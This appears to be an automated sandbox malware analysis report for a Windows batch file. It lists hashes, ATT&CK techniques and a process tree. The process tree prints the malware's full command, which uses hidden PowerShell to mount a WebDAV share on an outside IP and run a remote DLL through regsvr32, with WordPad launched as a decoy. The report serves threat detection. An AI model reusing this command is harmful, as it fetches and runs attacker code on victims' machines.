bbc65020fc7f7dbed857399bf79e4828c273c40b7ae449cc72b96700709909c5

Analysis

max time kernel
142s
max time network
105s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 09:24

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General

Target

165004055327431571.bat
Size

9KB
MD5

2a4981b86fd55d4b47a9d9e9214d9e44
SHA1

058bc196f757cc02f24a8ac1463425b5c520a0a8
SHA256

bbc65020fc7f7dbed857399bf79e4828c273c40b7ae449cc72b96700709909c5
SHA512

bcb4ffab0b4f2ec06b8def21472a27c0ccb7125e6a11fb6c62a7885b53bf0b1cb92b0c917255ef023adcfc417e106e01e8c4fecd130f20d28cac5cf6cefa7bf9
SSDEEP

192:u8lDhNBsnn+wcaNBshegcCgpyyU8S+D8XzswwwkcQSMWoBl0Jk8By0oH2V6AJu1w:uwB0r6yqaWrlBH+wukX

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1408	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1408	powershell.exe
1408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1408	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1836	wordpad.exe
1836	wordpad.exe
1836	wordpad.exe
1836	wordpad.exe
1836	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 1836	2700	cmd.exe	85
PID 2700 wrote to memory of 1836	2700	cmd.exe	85
PID 2700 wrote to memory of 1408	2700	cmd.exe	88
PID 2700 wrote to memory of 1408	2700	cmd.exe	88
PID 1408 wrote to memory of 688	1408	powershell.exe	90
PID 1408 wrote to memory of 688	1408	powershell.exe	90
PID 1408 wrote to memory of 3952	1408	powershell.exe	91
PID 1408 wrote to memory of 3952	1408	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\165004055327431571.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:688
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll
    3⤵
    PID:3952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jdpgbtyy.qvf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1408-0-0x00000183EDBA0000-0x00000183EDBC2000-memory.dmp

Filesize
136KB

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